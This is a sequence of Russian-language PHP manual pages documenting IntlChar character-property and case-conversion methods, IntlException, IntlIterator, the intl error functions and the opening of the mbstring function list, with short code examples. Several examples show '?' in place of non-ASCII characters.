  • IntlChar::isULowercase »
  • PHP Manual
  • IntlChar
  • Проверить, установлено ли у символа свойство Alphabetic

IntlChar::isUAlphabetic

(PHP 7, PHP 8)

IntlChar::isUAlphabetic — Проверить, установлено ли у символа свойство Alphabetic

Описание

public static IntlChar::isUAlphabetic(int|string $codepoint): ?bool

Проверяет, установлено ли у символа свойство Alphabetic.

Тоже самое, что и IntlChar::hasBinaryProperty($codepoint, IntlChar::PROPERTY_ALPHABETIC)

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint имеет свойство Alphabetic, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isUAlphabetic("A"));
var_dump(IntlChar::isUAlphabetic("1"));
var_dump(IntlChar::isUAlphabetic("\u{2603}"));
?>

Результат выполнения данного примера:

bool(true)
bool(false)
bool(false)

Смотрите также

  • IntlChar::isalpha() - Проверить, является ли символ буквой
  • IntlChar::hasBinaryProperty() - Проверить бинарное свойство Unicode для символа
  • IntlChar::PROPERTY_ALPHABETIC

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли символ символом в нижнем регистре

  • « IntlChar::isUAlphabetic
  • IntlChar::isupper »
  • PHP Manual
  • IntlChar
  • Проверить, является ли символ символом в нижнем регистре

IntlChar::isULowercase

(PHP 7, PHP 8)

IntlChar::isULowercase — Проверить, является ли символ символом в нижнем регистре

Описание

public static IntlChar::isULowercase(int|string $codepoint): ?bool

Проверяет, является ли символ символом в нижнем регистре.

То же самое, что и IntlChar::hasBinaryProperty($codepoint, IntlChar::PROPERTY_LOWERCASE)

Замечание:

Отличается от IntlChar::islower() и возвращает true для большего числа символов.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint имеет свойство "Lowercase", false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isULowercase("A"));
var_dump(IntlChar::isULowercase("a"));
var_dump(IntlChar::isULowercase("?"));
var_dump(IntlChar::isULowercase("?"));
var_dump(IntlChar::isULowercase("1"));
?>

Результат выполнения данного примера:

bool(false)
bool(true)
bool(false)
bool(true)
bool(false)

Смотрите также

  • IntlChar::islower() - Проверить, в нижнем ли регистре символ
  • IntlChar::hasBinaryProperty() - Проверить бинарное свойство Unicode для символа
  • IntlChar::PROPERTY_LOWERCASE

User Contributed Notes

There are no user contributed notes for this page.


Проверить, входит ли символ в категорию "Lu" (буква в верхнем регистре)

  • « IntlChar::isULowercase
  • IntlChar::isUUppercase »
  • PHP Manual
  • IntlChar
  • Проверить, входит ли символ в категорию "Lu" (буква в верхнем регистре)

IntlChar::isupper

(PHP 7, PHP 8)

IntlChar::isupper — Проверить, входит ли символ в категорию "Lu" (буква в верхнем регистре)

Описание

public static IntlChar::isupper(int|string $codepoint): ?bool

Определяет, входит ли символ в категорию "Lu" (буквы в верхнем регистре).

Замечание:

Могут быть пропущены некоторые символы, так как они могут иметь другую главную категорию. Что бы не потерять их - используйте функцию IntlChar::isUUppercase().

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint входит в категорию Lu или false, если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isupper("A"));
var_dump(IntlChar::isupper("a"));
var_dump(IntlChar::isupper("?"));
var_dump(IntlChar::isupper("?"));
var_dump(IntlChar::isupper("1"));
?>

Результат выполнения данного примера:

bool(true)
bool(false)
bool(true)
bool(false)
bool(false)

Смотрите также

  • IntlChar::islower() - Проверить, в нижнем ли регистре символ
  • IntlChar::istitle() - Проверить, является ли символ титульным (Titlecase)
  • IntlChar::tolower() - Преобразование символа Unicode в нижний регистр
  • IntlChar::toupper() - Преобразование символа Unicode в верхний регистр
  • IntlChar::PROPERTY_UPPERCASE
  • ctype_upper() - Проверяет наличие символов в верхнем регистре

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли символ символом в верхнем регистре

  • « IntlChar::isupper
  • IntlChar::isUWhiteSpace »
  • PHP Manual
  • IntlChar
  • Проверить, является ли символ символом в верхнем регистре

IntlChar::isUUppercase

(PHP 7, PHP 8)

IntlChar::isUUppercase — Проверить, является ли символ символом в верхнем регистре

Описание

public static IntlChar::isUUppercase(int|string $codepoint): ?bool

Проверить, является ли символ символом в верхнем регистре.

То же самое, что и IntlChar::hasBinaryProperty($codepoint, IntlChar::PROPERTY_UPPERCASE)

Замечание:

Отличается от IntlChar::isupper() и возвращает true для большего числа символов.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint имеет свойство "Uppercase", false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isUUppercase("A"));
var_dump(IntlChar::isUUppercase("a"));
var_dump(IntlChar::isUUppercase("?"));
var_dump(IntlChar::isUUppercase("?"));
var_dump(IntlChar::isUUppercase("1"));
?>

Результат выполнения данного примера:

bool(true)
bool(false)
bool(true)
bool(false)
bool(false)

Смотрите также

  • IntlChar::isupper() - Проверить, входит ли символ в категорию "Lu" (буква в верхнем регистре)
  • IntlChar::hasBinaryProperty() - Проверить бинарное свойство Unicode для символа
  • IntlChar::PROPERTY_UPPERCASE

User Contributed Notes

There are no user contributed notes for this page.


Проверить, имеет ли символ свойство White_Space (пробельный символ)

  • « IntlChar::isUUppercase
  • IntlChar::isWhitespace »
  • PHP Manual
  • IntlChar
  • Проверить, имеет ли символ свойство White_Space (пробельный символ)

IntlChar::isUWhiteSpace

(PHP 7, PHP 8)

IntlChar::isUWhiteSpace — Проверить, имеет ли символ свойство White_Space (пробельный символ)

Описание

public static IntlChar::isUWhiteSpace(int|string $codepoint): ?bool

Проверяет, имеет ли символ свойство White_Space (пробельный символ).

То же самое, что и IntlChar::hasBinaryProperty($codepoint, IntlChar::PROPERTY_WHITE_SPACE)

Замечание:

Отличается от IntlChar::isspace() и IntlChar::isWhitespace().

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint имеет свойство "White_Space", false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isUWhiteSpace("A"));
var_dump(IntlChar::isUWhiteSpace(" "));
var_dump(IntlChar::isUWhiteSpace("\n"));
var_dump(IntlChar::isUWhiteSpace("\t"));
var_dump(IntlChar::isUWhiteSpace("\u{00A0}"));
?>

Результат выполнения данного примера:

bool(false)
bool(true)
bool(true)
bool(true)
bool(true)

Смотрите также

  • IntlChar::isspace() - Проверяет, является ли символ пробельным
  • IntlChar::isWhitespace() - Проверить, является ли символ пробельным с точки зрения ICU
  • IntlChar::isJavaSpaceChar() - Проверить, является ли символ пробельным с точки зрения языка Java
  • IntlChar::hasBinaryProperty() - Проверить бинарное свойство Unicode для символа
  • IntlChar::PROPERTY_WHITE_SPACE

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли символ пробельным с точки зрения ICU

  • « IntlChar::isUWhiteSpace
  • IntlChar::isxdigit »
  • PHP Manual
  • IntlChar
  • Проверить, является ли символ пробельным с точки зрения ICU

IntlChar::isWhitespace

(PHP 7, PHP 8)

IntlChar::isWhitespace — Проверить, является ли символ пробельным с точки зрения ICU

Описание

public static IntlChar::isWhitespace(int|string $codepoint): ?bool

Проверяет, является ли символ пробельным с точки зрения ICU.

Символ является пробельным символом ICU только если он соответствует одному из следующих критериев:

  • Это символ разделитель Unicode (категории "Z" = "Zs" или "Zl" или "Zp"), но не является неразрывным пробелом (U+00A0 NBSP или U+2007 "Figure Space" или U+202F "Narrow NBSP").
  • Это U+0009 HORIZONTAL TABULATION.
  • Это U+000A LINE FEED.
  • Это U+000B VERTICAL TABULATION.
  • Это U+000C FORM FEED.
  • Это U+000D CARRIAGE RETURN.
  • Это U+001C FILE SEPARATOR.
  • Это U+001D GROUP SEPARATOR.
  • Это U+001E RECORD SEPARATOR.
  • Это U+001F UNIT SEPARATOR.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint является пробельным в ICU, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::iswhitespace("A"));
var_dump(IntlChar::iswhitespace(" "));
var_dump(IntlChar::iswhitespace("\n"));
var_dump(IntlChar::iswhitespace("\t"));
var_dump(IntlChar::iswhitespace("\u{00A0}"));
?>

Результат выполнения данного примера:

bool(false)
bool(true)
bool(true)
bool(true)
bool(false)

Смотрите также

  • IntlChar::isspace() - Проверяет, является ли символ пробельным
  • IntlChar::isJavaSpaceChar() - Проверить, является ли символ пробельным с точки зрения языка Java
  • IntlChar::isUWhiteSpace() - Проверить, имеет ли символ свойство White_Space (пробельный символ)

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли символ шестнадцатеричной цифрой

  • « IntlChar::isWhitespace
  • IntlChar::ord »
  • PHP Manual
  • IntlChar
  • Проверить, является ли символ шестнадцатеричной цифрой

IntlChar::isxdigit

(PHP 7, PHP 8)

IntlChar::isxdigit — Проверить, является ли символ шестнадцатеричной цифрой

Описание

public static IntlChar::isxdigit(int|string $codepoint): ?bool

Проверяет, является ли символ шестнадцатеричной цифрой.

true для символов из категории "Nd" (десятичные цифры) и латинских букв a-f и A-F в представлениях ASCII и Fullwidth ASCII ( 0041..0046, 0061..0066, FF21..FF26, FF41..FF46.)

Эквивалентно IntlChar::digit($codepoint, 16) >= 0.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает true, если codepoint является шестнадцатеричной цифрой, false - если нет. В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::isxdigit("A"));
var_dump(IntlChar::isxdigit("1"));
var_dump(IntlChar::isxdigit("\u{2603}"));
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(false)

Примечания

Замечание:

Для того чтобы сузить определение шестнадцатеричных цифр только принимаются только символы ASCII:

<?php
$isASCIIHexadecimal = IntlChar::ord($codepoint) <= 0x7F && IntlChar::isxdigit($codepoint);
?>

Смотрите также

  • IntlChar::isdigit() - Проверить, является ли символ цифрой
  • ctype_xdigit() - Проверяет наличие шестнадцатеричных цифр

User Contributed Notes

There are no user contributed notes for this page.


Получить код символ Unicode

  • « IntlChar::isxdigit
  • IntlChar::tolower »
  • PHP Manual
  • IntlChar
  • Получить код символ Unicode

IntlChar::ord

(PHP 7, PHP 8)

IntlChar::ord — Получить код символ Unicode

Описание

public static IntlChar::ord(int|string $character): ?int

Возвращает код символа Unicode.

Эта функция противоположна по действию функции IntlChar::chr().

Список параметров

character

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает код символа Unicode в виде целого числа.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::ord("A"));
var_dump(IntlChar::ord(" "));
var_dump(IntlChar::ord("\u{2603}"));
?>

Результат выполнения данного примера:

int(65)
int(32)
int(9731)

Смотрите также

  • IntlChar::chr() - Получить символ Unicode по его коду
  • mb_ord() - Получает кодовую точку символа Unicode
  • ord() - Конвертирует первый байт строки в число от 0 до 255

User Contributed Notes

There are no user contributed notes for this page.


Преобразование символа Unicode в нижний регистр

  • « IntlChar::ord
  • IntlChar::totitle »
  • PHP Manual
  • IntlChar
  • Преобразование символа Unicode в нижний регистр

IntlChar::tolower

(PHP 7, PHP 8)

IntlChar::tolower — Преобразование символа Unicode в нижний регистр

Описание

public static IntlChar::tolower(int|string $codepoint): int|string|null

Преобразует символ в его эквивалент в нижнем регистре. Если такового нет, то возвращается исходный символ.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает Simple_Lowercase_Mapping для символа, если существует. Если нет, то возвращает исходный символ. В случае возникновения ошибки возвращает null.

Возвращаемый тип должен быть int, если только символ не был передан как строка UTF-8 (string), в этом случае вернётся строка (string). В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::tolower("A"));
var_dump(IntlChar::tolower("a"));
var_dump(IntlChar::tolower("?"));
var_dump(IntlChar::tolower("?"));
var_dump(IntlChar::tolower("1"));
var_dump(IntlChar::tolower(ord("A")));
var_dump(IntlChar::tolower(ord("a")));
?>

Результат выполнения данного примера:

string(1) "a"
string(1) "a"
string(2) "?"
string(2) "?"
string(1) "1"
int(97)
int(97)

Смотрите также

  • IntlChar::totitle() - Преобразует символ Unicode в titlecase
  • IntlChar::toupper() - Преобразование символа Unicode в верхний регистр
  • mb_strtolower() - Приведение строки к нижнему регистру

User Contributed Notes

Patanjali 15-May-2020 11:00
The other function I wrote to replace mb_strtolower may not work properly, as it erroneously equated graphemes with codepoints.

tolower, like many IntlChar methods, works specifically on codepoints, so requires a codepoint iterator to isolate each.

Also, because in tolower, if there is no lowercase version of the codepoint, the supplied one is returned, so there is no need to specially test for alphabetic codepoints before conversion.

<?php
function u_tolower($text=''){
// if blank, return blank (don't waste CPU cycles)
if($text==''){return'';}

// create the codepoint break iterator to identify the start of each codepoint
$iterator=IntlBreakIterator::createCodePointInstance();

// load the text
$iterator->setText($text);

// using a parts iterator to extract each codepoint itself, convert and append it to the new string
$newtext='';
foreach($iterator->getPartsIterator() as $codepoint){$newtext.=IntlChar::tolower($codepoint);}

// return converted text
return $newtext;
}
?>


Преобразует символ Unicode в titlecase

  • « IntlChar::tolower
  • IntlChar::toupper »
  • PHP Manual
  • IntlChar
  • Преобразует символ Unicode в titlecase

IntlChar::totitle

(PHP 7, PHP 8)

IntlChar::totitle — Преобразует символ Unicode в titlecase

Описание

public static IntlChar::totitle(int|string $codepoint): int|string|null

Возвращает эквивалент символа в титульном(titlecase) регистре. Если такового нет, то возвращается исходный символ.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает Simple_Titlecase_Mapping для символа, если существует. Если нет, то возвращает исходный символ. В случае возникновения ошибки возвращает null.

Возвращаемый тип должен быть int, если только символ не был передан как строка UTF-8 (string), в этом случае вернётся строка (string). В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::totitle("A"));
var_dump(IntlChar::totitle("a"));
var_dump(IntlChar::totitle("?"));
var_dump(IntlChar::totitle("?"));
var_dump(IntlChar::totitle("1"));
var_dump(IntlChar::totitle(ord("A")));
var_dump(IntlChar::totitle(ord("a")));
?>

Результат выполнения данного примера:

string(1) "A"
string(1) "A"
string(2) "?"
string(2) "?"
string(1) "1"
int(65)
int(65)

Смотрите также

  • IntlChar::tolower() - Преобразование символа Unicode в нижний регистр
  • IntlChar::toupper() - Преобразование символа Unicode в верхний регистр
  • mb_convert_case() - Производит смену регистра символов в строке

User Contributed Notes

There are no user contributed notes for this page.


Преобразование символа Unicode в верхний регистр

  • « IntlChar::totitle
  • IntlException »
  • PHP Manual
  • IntlChar
  • Преобразование символа Unicode в верхний регистр

IntlChar::toupper

(PHP 7, PHP 8)

IntlChar::toupper — Преобразование символа Unicode в верхний регистр

Описание

public static IntlChar::toupper(int|string $codepoint): int|string|null

Преобразует символ в его эквивалент в верхнем регистре. Если такового нет, то возвращается исходный символ.

Список параметров

codepoint

Целочисленное (int) задание кода символа (например 0x2603 для U+2603 СНЕГОВИКА), или символ закодированный строку UTF-8 (например "\u{2603}")

Возвращаемые значения

Возвращает Simple_Uppercase_Mapping символа, если он есть. В противном случае возвращается исходный символ.

Возвращаемый тип должен быть int, если только символ не был передан как строка UTF-8 (string), в этом случае вернётся строка (string). В случае возникновения ошибки возвращает null.

Примеры

Пример #1 Тестирование различных способов задания

<?php
var_dump(IntlChar::toupper("A"));
var_dump(IntlChar::toupper("a"));
var_dump(IntlChar::toupper("?"));
var_dump(IntlChar::toupper("?"));
var_dump(IntlChar::toupper("1"));
var_dump(IntlChar::toupper(ord("A")));
var_dump(IntlChar::toupper(ord("a")));
?>

Результат выполнения данного примера:

string(1) "A"
string(1) "A"
string(2) "?"
string(2) "?"
string(1) "1"
int(65)
int(65)

Смотрите также

  • IntlChar::tolower() - Преобразование символа Unicode в нижний регистр
  • IntlChar::totitle() - Преобразует символ Unicode в titlecase
  • mb_strtoupper() - Приведение строки к верхнему регистру

User Contributed Notes

There are no user contributed notes for this page.


Класс исключений для ошибок intl

(PHP 5 > 5.5.0, PHP 7, PHP 8, PECL intl > 3.0.0a1)

Введение

Этот класс служит для вызова исключений в случае возникновения ошибки в функциях intl. Данные исключения могут быть выброшены только если включена опция intl.use_exceptions.

Обзор классов

class IntlException extends Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс IntlIterator

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Введение

Этот класс представляет итератор объектов модуля intl в тех случаях, когда нельзя назначить какой-либо другой итератор для объекта данного модуля. Единственный объект итератора для использования в конструкции foreach может быть получен только (в соответствующей части здесь) из объектов, так что объекты данного класса служат для получения таких внутренних объектов. Для удобства данный класс также реализует интерфейс Iterator, позволяя взаимодействовать с коллекциями значений используя методы определённые в этом интерфейсе. Оба этих метода и внутренние объекты итератора сохраняют своё состояние при передачи в foreach. (т.е. внутренний указатель и текущее значение остаются неизменны).

Классы потомки могут предоставлять более широкую функциональность.

Обзор классов

class IntlIterator implements Iterator {
/* Методы */
public current(): mixed
public key(): mixed
public next(): void
public rewind(): void
public valid(): bool
}

Содержание

  • IntlIterator::current — Получить текущий элемент
  • IntlIterator::key — Получить ключ текущего элемента
  • IntlIterator::next — Перейти к следующему элементу
  • IntlIterator::rewind — Перейти к первому элементу
  • IntlIterator::valid — Проверить, корректна ли текущая позиция

User Contributed Notes

There are no user contributed notes for this page.


Получить текущий элемент

  • « IntlIterator
  • IntlIterator::key »
  • PHP Manual
  • IntlIterator
  • Получить текущий элемент

IntlIterator::current

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlIterator::current — Получить текущий элемент

Описание

public IntlIterator::current(): mixed

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить ключ текущего элемента

  • « IntlIterator::current
  • IntlIterator::next »
  • PHP Manual
  • IntlIterator
  • Получить ключ текущего элемента

IntlIterator::key

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlIterator::key — Получить ключ текущего элемента

Описание

public IntlIterator::key(): mixed

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Перейти к следующему элементу

  • « IntlIterator::key
  • IntlIterator::rewind »
  • PHP Manual
  • IntlIterator
  • Перейти к следующему элементу

IntlIterator::next

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlIterator::next — Перейти к следующему элементу

Описание

public IntlIterator::next(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Перейти к первому элементу

  • « IntlIterator::next
  • IntlIterator::valid »
  • PHP Manual
  • IntlIterator
  • Перейти к первому элементу

IntlIterator::rewind

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlIterator::rewind — Перейти к первому элементу

Описание

public IntlIterator::rewind(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Проверить, корректна ли текущая позиция

  • « IntlIterator::rewind
  • Функции intl »
  • PHP Manual
  • IntlIterator
  • Проверить, корректна ли текущая позиция

IntlIterator::valid

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlIterator::valid — Проверить, корректна ли текущая позиция

Описание

public IntlIterator::valid(): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Функции intl

Содержание

  • intl_error_name — Получить имя ошибки по её коду
  • intl_get_error_code — Получить код последней ошибки
  • intl_get_error_message — Получить описание ошибки
  • intl_is_failure — Проверить, является ли код ошибки признаком сбоя

User Contributed Notes

There are no user contributed notes for this page.


Получить имя ошибки по её коду

  • « Функции intl
  • intl_get_error_code »
  • PHP Manual
  • Функции intl
  • Получить имя ошибки по её коду

intl_error_name

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

intl_error_name — Получить имя ошибки по её коду

Описание

intl_error_name(int $errorCode): string

Возвращает имя ошибки ICU.

Список параметров

errorCode

Код ошибки ICU.

Возвращаемые значения

Возвращаемая строка будет иметь имя аналогичное соответствующей константе.

Примеры

Пример #1 Пример использования intl_error_name()

<?php
$coll = collator_create( 'en_RU' );
$err_code = collator_get_error_code( $coll );

printf( "Символическое имя для %d - %s\n.", $err_code, intl_error_name( $err_code ) );
?>

Результатом выполнения данного примера будет что-то подобное:

Символическое имя для -128 - U_USING_FALLBACK_WARNING.

Смотрите также

  • intl_is_failure() - Проверить, является ли код ошибки признаком сбоя
  • intl_get_error_code() - Получить код последней ошибки
  • intl_get_error_message() - Получить описание ошибки

User Contributed Notes

There are no user contributed notes for this page.


Получить код последней ошибки

  • « intl_error_name
  • intl_get_error_message »
  • PHP Manual
  • Функции intl
  • Получить код последней ошибки

intl_get_error_code

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

intl_get_error_code — Получить код последней ошибки

Описание

intl_get_error_code(): int

Полезно для обработки ошибок статических методов, когда отсутствует объект для извлечения ошибки из него.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Код ошибки, возвращённый последним вызовом функции API.

Примеры

Пример #1 Пример использования intl_get_error_code()

<?php
$coll = collator_create( '<bad_param>' );
if( !$coll ) {
handle_error( intl_get_error_code() );
}
?>

Смотрите также

  • intl_is_failure() - Проверить, является ли код ошибки признаком сбоя
  • intl_error_name() - Получить имя ошибки по её коду
  • intl_get_error_message() - Получить описание ошибки
  • collator_get_error_code() - Получает последний код ошибки Collator
  • numfmt_get_error_code() - Получает последний код ошибки средства форматирования

User Contributed Notes

There are no user contributed notes for this page.


Получить описание ошибки

  • « intl_get_error_code
  • intl_is_failure »
  • PHP Manual
  • Функции intl
  • Получить описание ошибки

intl_get_error_message

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

intl_get_error_message — Получить описание ошибки

Описание

intl_get_error_message(): string

Получить описание последней произошедшей ошибки в функциях ICU.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Описание последней произошедшей ошибки в функциях ICU.

Примеры

Пример #1 Пример использования intl_get_error_message()

<?php
if( Collator::getAvailableLocales() === false ) {
show_error( intl_get_error_message() );
}
?>

Смотрите также

  • intl_error_name() - Получить имя ошибки по её коду
  • intl_get_error_code() - Получить код последней ошибки
  • intl_is_failure() - Проверить, является ли код ошибки признаком сбоя
  • collator_get_error_message() - Получает текст для кода последней ошибки Collator
  • numfmt_get_error_message() - Получает последнее сообщение об ошибке средства форматирования

User Contributed Notes

There are no user contributed notes for this page.


Проверить, является ли код ошибки признаком сбоя

  • « intl_get_error_message
  • Многобайтовые строки »
  • PHP Manual
  • Функции intl
  • Проверить, является ли код ошибки признаком сбоя

intl_is_failure

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

intl_is_failure — Проверить, является ли код ошибки признаком сбоя

Описание

intl_is_failure(int $errorCode): bool

Список параметров

errorCode

Значение, возвращённое функциями: intl_get_error_code(), collator_get_error_code() .

Возвращаемые значения

true, если произошёл сбой, и false, если все успешно, либо просто предупреждение.

Примеры

Пример #1 Пример использования intl_is_failure()

<?php
function check( $err_code )
{
var_export( intl_is_failure( $err_code ) );
echo "\n";
}

check( U_ZERO_ERROR );
check( U_USING_FALLBACK_WARNING );
check( U_ILLEGAL_ARGUMENT_ERROR );
?>

Результатом выполнения данного примера будет что-то подобное:

false
false
true

Смотрите также

  • intl_get_error_code() - Получить код последней ошибки
  • collator_get_error_code() - Получает последний код ошибки Collator
  • Collator-getErrorCode() - Получает последний код ошибки Collator

User Contributed Notes

There are no user contributed notes for this page.


Многобайтовые строки

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Краткий обзор поддерживаемых кодировок
  • Основы японских многобайтных кодировок
  • Ввод и вывод HTTP
  • Поддерживаемые кодировки символов
  • Механизм перегрузки функций
  • Требования, предъявляемые к кодировкам символов в PHP
  • Функции для работы с многобайтовыми строками
    • mb_check_encoding — Проверяет, что кодировка строк выбрана верно
    • mb_chr — Возвращает символ по значению кодовой точки Unicode
    • mb_convert_case — Производит смену регистра символов в строке
    • mb_convert_encoding — Преобразует строку из одной кодировки символов в другую
    • mb_convert_kana — Преобразует одну кодировку "kana" в другую ("zen-kaku", "han-kaku" и другие)
    • mb_convert_variables — Преобразует символы в переменной(-ых) из одной кодировки в другую
    • mb_decode_mimeheader — Декодирует строку в MIME-заголовке
    • mb_decode_numericentity — Декодирует ссылку на числовую строку HTML в символ
    • mb_detect_encoding — Определение кодировки символов
    • mb_detect_order — Установка/получение списка кодировок для механизмов определения кодировки
    • mb_encode_mimeheader — Кодирует строку для MIME-заголовка
    • mb_encode_numericentity — Кодирует символ в числовую HTML-ссылку
    • mb_encoding_aliases — Получает псевдонимы известного типа кодировки
    • mb_ereg_match — Совпадение с регулярным выражением для многобайтовой строки
    • mb_ereg_replace_callback — Выполняет поиск и замену по регулярному выражению с поддержкой многобайтовых кодировок используя callback-функцию
    • mb_ereg_replace — Осуществляет замену по регулярному выражению с поддержкой многобайтовых кодировок
    • mb_ereg_search_getpos — Возвращает начальную позицию следующего совпадения с регулярным выражением
    • mb_ereg_search_getregs — Выводит результат последнего сравнения с регулярным выражением
    • mb_ereg_search_init — Инициализация поиска соответствий регулярному выражению многобайтовой строкой и текстом регулярного выражения
    • mb_ereg_search_pos — Возвращает позицию и длину совпавшего с регулярным выражением участка многобайтовой строки
    • mb_ereg_search_regs — Возвращает совпавшую с регулярным выражением часть строки
    • mb_ereg_search_setpos — Задаёт начальную позицию в строке, с которой начнётся поиск соответствий регулярному выражению
    • mb_ereg_search — Поиск соответствий регулярному выражению для строк в многобайтовых кодировках
    • mb_ereg — Совпадение с регулярным выражением с поддержкой многобайтовых кодировок
    • mb_eregi_replace — Осуществляет замену по регулярному выражению с поддержкой многобайтовых символов без учёта регистра
    • mb_eregi — Поиск соответствий регулярному выражению с поддержкой многобайтовых символов без учёта регистра
    • mb_get_info — Получает внутренние настройки mbstring
    • mb_http_input — Определение кодировки символов входных данных HTTP-запроса
    • mb_http_output — Установка/получение кодировки символов вывода HTTP
    • mb_internal_encoding — Установка/получение внутренней кодировки скрипта
    • mb_language — Устанавливает/получает текущий язык
    • mb_list_encodings — Возвращает массив всех поддерживаемых кодировок
    • mb_ord — Получает кодовую точку символа Unicode
    • mb_output_handler — Callback-функция, преобразующая кодировку символов в выходном буфере
    • mb_parse_str — Разбор данных запросов GET/POST/COOKIE и установка значений глобальных переменных
    • mb_preferred_mime_name — Получение набора символов MIME
    • mb_regex_encoding — Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
    • mb_regex_set_options — Установка/получение значений по умолчанию для настроек функций mbregex
    • mb_scrub — Заменяет неправильно сформированные последовательности байтов символом-заменителем
    • mb_send_mail — Отправка закодированного сообщения
    • mb_split — Разделение строк в многобайтных кодировках, используя регулярное выражение
    • mb_str_pad — Дополняет мультибайтовую строку другой мультибайтовой строкой до заданной длины
    • mb_str_split — Если задана многобайтовая строка возвращает массив символов
    • mb_strcut — Получение части строки
    • mb_strimwidth — Получает строку, обрезанную до заданной ширины
    • mb_stripos — Регистронезависимый поиск позиции первого вхождения одной строки в другую
    • mb_stristr — Находит первое вхождение подстроки в строке без учёта регистра
    • mb_strlen — Получает длину строки
    • mb_strpos — Поиск позиции первого вхождения одной строки в другую
